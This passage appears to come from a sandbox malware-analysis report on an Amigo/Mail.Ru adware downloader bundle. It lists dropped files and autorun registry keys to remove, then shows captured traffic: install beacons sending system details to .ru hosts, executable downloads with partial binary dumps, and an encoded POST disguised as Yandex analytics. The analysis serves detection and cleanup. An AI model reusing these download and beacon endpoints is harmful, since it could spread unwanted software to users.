   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\vk.exe (673 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sl.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bn.pak (1769 bytes)
   %Documents and Settings%\%current user%\Desktop\Вконтакте.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\el.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\ok.exe (142 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ta.pak (1829 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Amigo.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ru.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\chrome_installer.log (972 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\nacl_irt_x86_64.nexe (28502 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-US.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lv.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\amigo.exe (5442 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome.exe (5442 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\cs.pak (234 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\wow_helper.exe (73 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\da.pak (213 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\nacl_irt_x86_32.nexe (42362 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\cs.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fr.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fa.pak (1611 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\vi.pak (263 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_launcher.exe (180 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\VisualElements\logo.png (12 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\th.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sr.pak (1636 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\vk.exe (167 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ca.pak (236 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\npchrome_frame.dll (15801 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\et.pak (207 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-TW.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-CN.pak (192 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\32.0.1705.153\Installer\setup.exe (7971 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fr.pak (251 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\th.pak (1745 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hu.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\he.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome.dll (283704 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-PT.pak (232 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sl.pak (218 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ja.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\mr.pak (1748 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es-419.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\uk.pak (1648 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Одноклассники.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\ok.exe (673 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bn.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\d3dcompiler_46.dll (22433 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nb.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sk.pak (241 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ms.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sw.pak (215 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\libglesv2.dll (6349 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nl.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ko.pak (239 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\metro_driver.dll (1747 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\delegate_execute.exe (9606 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ta.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\tr.pak (231 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\id.pak (209 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ro.pak (242 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\chrome.7z (1326482 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ca.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-GB.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\it.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hr.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hu.pak (246 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hi.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\nacl64.exe (12289 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lt.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lt.pak (231 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\master_preferences (982 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\tr.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\gu.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\mailruupdater.exe (45823 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bg.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\da.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fil.pak (239 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\de.pak (234 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\master_preferences (982 bytes)
   %Documents and Settings%\%current user%\Desktop\Одноклассники.lnk (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-US.pak (195 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\id.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\vi.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lv.pak (234 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sv.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_frame_helper.exe (85 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\extensions\external_extensions.json (103 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fi.pak (220 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sw.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ml.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sv.pak (214 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-CN.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sr.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\am.pak (323 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ro.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pl.pak (229 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-GB.pak (195 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bg.pak (1668 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_touch_100_percent.pak (5442 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ar.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-PT.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\secondarytile.png (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\uk.dll (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\ee0a_appcompat.txt (3002 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe (46100 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "amigo" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe --no-startup-window"
   
   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "MailRuUpdater" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /install?guid={2863167C-DE4A-4FB6-9FB2-29EEA76B846C}&sig=4082388722&ovr=0&browser=ie&file_id=301653297&start=1&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&ver=2.7.3.79&tool=sputnik&praetorian=0&qipguard=0&comp_mem=511&tool_mem=5 HTTP/1.1

Host: horses.zetecportal.ru

Accept: */*

User-Agent: sputnik_statistics

Connection: close

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 21 Sep 2014 14:02:49 GMT

Content-Type: text/html

Content-Length: 0

Connection: close

X-Powered-By: PHP/5.4.33

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Sun, 21 Sep 2014 14:02:49 GMT

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: guest_sess_id=g-9811fe1f262db2de176ee35ed66739a6541e; expires=Mon, 22-Sep-2014 14:02:49 GMT; path=/; domain=sumsungspectr.ru

GET /install?guid={2863167C-DE4A-4FB6-9FB2-29EEA76B846C}&sig=4082388722&ovr=0&browser=ie&file_id=301653297&search=1&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&ver=2.7.3.79&tool=sputnik&praetorian=0&qipguard=0&comp_mem=511&tool_mem=5 HTTP/1.1

Host: horses.zetecportal.ru

Accept: */*

User-Agent: sputnik_statistics

Connection: close

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 21 Sep 2014 14:02:48 GMT

Content-Type: text/html

Content-Length: 0

Connection: close

X-Powered-By: PHP/5.4.33

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Sun, 21 Sep 2014 14:02:48 GMT

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: guest_sess_id=g-24476faa58321ada896ca85f29f50a23541e; expires=Mon, 22-Sep-2014 14:02:48 GMT; path=/; domain=sumsungspectr.ru

GET /mailruhomesearch.exe HTTP/1.1

Accept: */*

User-Agent: Downloader MLR 1.0.0

Host: sputnikmailru.cdnmail.ru

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 21 Sep 2014 14:02:41 GMT

Content-Type: application/octet-stream

Content-Length: 2820328

Connection: keep-alive

Last-Modified: Tue, 16 Sep 2014 19:56:36 GMT

ETag: "541895f4-2b08e8"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.$*..Jy..Jy..Jyb..y..Jy.s.y..Jy.s.y..Jy...y..Jy..Kyy.Jy...y..Jy.s.y..Jy.s.y..Jy.s.y..JyRich..Jy........................PE..L....=.T............................i=............@..........................` ......| ...@................................... .@.....!...............*.......)..R...........................b......`b..@...............p............................text............................... ..`.rdata..P...........................@..@.data......... ....... .............@....tls..........!......2!.............@....rsrc.........!......4!.............@..@.reloc........).......).............@..B................................................................................................................................................................................................................................................................................................U...M...t#.E..U.V........W..........f.._..^]..E.]...............U..V...>.tOh0`\.....[...tNh.`\.P....[...t>...U(j.Q.M$R.U Q.M.R.U.Q.M.R.U.Q.M.R.U.QR..^].$..~..t.^].%..[......^].$...............U..QV...N..E..E.....P..t%.E..U.R.U.P.E.R.U.P.E.R.U.j.PR.D....$.U..E..M.Q.M.R.U.P.E.Q.M.Rj.PQ....[..M ..t..U.....u.....t.Q.. .[........M..F.......^..]...........U..V.u.W.}......U.R.U.V.E..E.Pj.........RP..$.[...u>.E....t....u..E...t$..t...u.....f.|N..t._.....^]...3.f......3._^]...........U...U.j..E.P..j.j.RP..(

<<< skipped >>>

POST /aepne/akpgc/anhdb HTTP/1.1

Host: metrika.yandex.ru

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Connection: Close

Content-Length: 270

iolja=Nk0QWfLzsjN0rYpKGg/MD5gIzH+j7Uwe/cShxv04khTEvmzSNqyxCJcKe0CWi+vnN4d+bd5BU7++4TjnD5xuqT6yX7PxuWU1uf+L7KqVp6LrVpF2WXTA9o87GhiL9Z1FlypAu/nbXsn+onDGrHpvO11Ax3iIftyWtZVUzRoVqxP5deVf42nGzgzCeaOLTnB+kitS25ttXYD/3ufL/ujSSqwPrFf4peAM4X0dCOVEJZk=

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Sun, 21 Sep 2014 14:02:44 GMT

Content-Type: application/download

Content-Length: 1792

Connection: close

X-Powered-By: PHP/5.4.31

Content-Description: File Transfer

R0V6g2Wpw7CJsDFQLs8Z5GAXqCseID6R16u6ArOBsEGmnHSn8a9eHsPldPfLpVKxEeM7BlvUvqjQx2uSnra9oXFsCW3PxeQmp3WKt47w1gLeJhkBQ28wPhRAc/s6z9mb7eHraZ99fVenIbtiS5r8/ 0UzfdAgU2InJd /qVA8lXFBkj1rsM7DEtnmmfrXZkdDS8N3RDHWv5C7BYnVweZt KUqJEccuq/X6DskbA6tNLpfHe81beGmoc3WaVGyJzAxiqYqMn2vUFq4Rh /0 mHIYU5uUt5ThCn2Sc c7 wVII8B1AtaTpzyk2X7KRT/W1F7TC4SNxtcIO4ZacmmQxkHr3x5CIuFfHSVc 5xapBo3oZ15k68ocRnWB6af5dg4e3lWDYNWYO3PMtjowA3A5Yv0MfJNXvqGKBc3KpAP39eBnbXOy5Yj2vWkt3GMB9Y/DMOWQ X3LHDFAvXllpeu2NHfn469BGzE8sTk/hDSROwhDMP11yyHuR5f8O5ReTb51QDzZXXIU2mvHJqw21kH2Cn1qP61vUsqoL4tcewPzuHrNsGoexyNRGNLjFOZImPMjunGreftHv4DF9E3i11jlQ/iHa8kGDGlUo7kQB4jOidlJjqgEUL850UhZ5J6uUZuhJuwNnbexepMOmEhYupCoIeRNsqyEEb407GaTyAhiP7aln/eNVApH2hf2Sc1DD9nxuVR8I/d0CJuPCIewY14CTF93JD8628Mr6K16NxEeo5IJySu7p6SaZd7g1ugfoM U4LdjQur3r2PtSYeBzcBUCwWdBopjsDzicK9 SRwMZqQlTKavHcw92TaR/ZNkrSi5b7Lc6NB7Xc/TzVSmk4G6EsUtJJJaa8zitS6FTDfozJ515DoIWTyrd/4mirnciJ6h7fzF sCqTh8kggS9tZORbUZ65yn5MN1gUz2nwuL8E2Zk4 HRifdub/F 1W1lqhVU9VxMutyY5f0l8p0Htcswr WhmZxay69u3ec30IXS02LweRCjAUZCee35p5wEoEXfIKfRcZriZUsMcSsvbQ1tcMRuGUZvkgXfkM452lOqDa5ouwHK5Fu715Pao9Ej2DzMk96Xm9KA0XDWj9I4wy68zL6Z9VLSLejHdnqiK56iOmNNF0Ufot3aX8vFVwN0hhHLUy1fOUIxjCOKMrDRlMoukjmb8N9rA0iTqsYRq scAg2aIrlbqYjn3/NlR4itqqWmZJqQ4PSRZDKvHFLOyb4muhAHfe171EbQoApXxvm4GGdDrVBq8MEsQVe5RAQZi2twlejtuzZggdcd28LF2GETiYbMV/JepVAcTCT4yA qe4LAnBT2xoOlHYvfKwFXoJf7K/ERzYmUFks5smE U AK1vYSQLz80BYoCnHbv5oE8NgBB5yRTeUNzdZdOWVQnK2zrcI57/EjSbt3fE/uiI/cWUbP4olhRv0w2/lkL68oq2w0uVTjIQVCvkApzdFBH7j2xefuxytaWSLAadOdnuOr28N9zqlXA05veV7T8XZ47oQfbSQS2SggCvedviMfnig

<<< skipped >>>

GET /amigodl.php?i=33 HTTP/1.1

User-Agent: tiny-dl/nx

Host: gabport.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Sun, 21 Sep 2014 14:02:28 GMT

Content-Type: application/octet-stream

Content-Length: 112640

Connection: close

X-Powered-By: PHP/5.4.31

Content-Description: File Transfer

Pragma: no-cache

Content-Disposition: attachment; filename="Amigo.exe"

Content-Transfer-Encoding: binary

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........t.U......................>..............m3.......................:.......=.....Rich............PE..L......T.................L...h......1........`....@.................................D.....@.................................\z..<....... .......................L...................................hx..@............`..<............................text...bK.......L.................. ..`.rdata..^!...`..."...P..............@..@.data.... ...........r..............@....rsrc... ........0...~..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................U.....S...`@.VW3..}........$....j.P.E.j.j.j.h....P.......u.j...$`@.G. .....d|._^3.[..].j.V...`@..E...t8..@Pj@.. `@..U.j..M.QR..WV..(`@..E.V...@...X`@..._^[..].V..X`@.h@...j@.. `@..M.j.j j.j.j.h...@Q....j..U.Rh......WV...`@.V....@.......X`@..._^[..]........U........@.SVW.=.`@..E.3...$.....M.j.j j.j.j.h...@Q.......u.j...$`@.C...|._^3.[..]..E.j..U.Rh.,..PV...`@.V..L`@.V....X`@..._^[..]...............W.=$`@.....$....3.....@..t.@...|.......@...........u.j.................@....._..U..QVh......$`@..5P`@..

<<< skipped >>>

GET /update/2/version.txt?type=homepage&guid={2863167C-DE4A-4FB6-9FB2-29EEA76B846C}&sig=1047704865&br=ie&ovr=0&rfr=profitraf7&ovr_extid=&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&ver=2.7.3.79&tool=sputnik&praetorian=0&qipguard=0&comp_mem=511&tool_mem=5 HTTP/1.1

Host: mrb.mail.ru

Accept: */*

User-Agent: sputnik_statistics

Connection: close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx/1.2.8

Date: Sun, 21 Sep 2014 14:02:48 GMT

Content-Type: text/html

Content-Length: 212

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx/1.2.8</center>..</body>..</html>....

HEAD /mailruhomesearch.exe HTTP/1.1

Accept: */*

User-Agent: Downloader MLR 1.0.0

Host: sputnikmailru.cdnmail.ru

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 21 Sep 2014 14:02:41 GMT

Content-Type: application/octet-stream

Content-Length: 2820328

Connection: keep-alive

Last-Modified: Tue, 16 Sep 2014 19:56:36 GMT

ETag: "541895f4-2b08e8"

Accept-Ranges: bytes

GET /update/2/version.txt?type=install&GUID={2863167C-DE4A-4FB6-9FB2-29EEA76B846C}&rfr=profitraf7&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&ver=2.7.3.79&praetorian=0&qipguard=0&comp_mem=511&tool_mem=5&success=1&ieovr=0&ffovr=0&br=ie&brver=6.00&bfr=0&aftr=0&bfr2=&aftr2= HTTP/1.1

Host: mrb.mail.ru

Accept: */*

User-Agent: FULLSTUFF

Connection: close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx/1.2.8

Date: Sun, 21 Sep 2014 14:02:46 GMT

Content-Type: text/html

Content-Length: 212

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx/1.2.8</center>..</body>..</html>....

GET /update/2/version.txt?type=install&GUID={2863167C-DE4A-4FB6-9FB2-29EEA76B846C}&rfr=profitraf7&standalone=1&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&ver=2.7.3.79&praetorian=0&qipguard=0&comp_mem=511&tool_mem=3&bgn=1 HTTP/1.1

Host: mrb.mail.ru

Accept: */*

User-Agent: FULLSTUFF

Connection: close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx/1.2.8

Date: Sun, 21 Sep 2014 14:02:46 GMT

Content-Type: text/html

Content-Length: 212

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx/1.2.8</center>..</body>..</html>....

GET /get_download_xml_3?stb=2&did=301653297&file_id=6299597 HTTP/1.1

User-Agent: Downloader MLR 1.0.0

Host: horses.kupileads.ru

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 21 Sep 2014 14:02:40 GMT

Content-Type: text/html

Content-Length: 2063

Connection: close

X-Powered-By: PHP/5.4.33

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Sun, 21 Sep 2014 18:02:40 GMT

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: guest_sess_id=g-8817c31f698ffc98d58b05fbe7e79bc2541e; expires=Mon, 22-Sep-2014 14:02:40 GMT; path=/; domain=sumsungspectr.ru

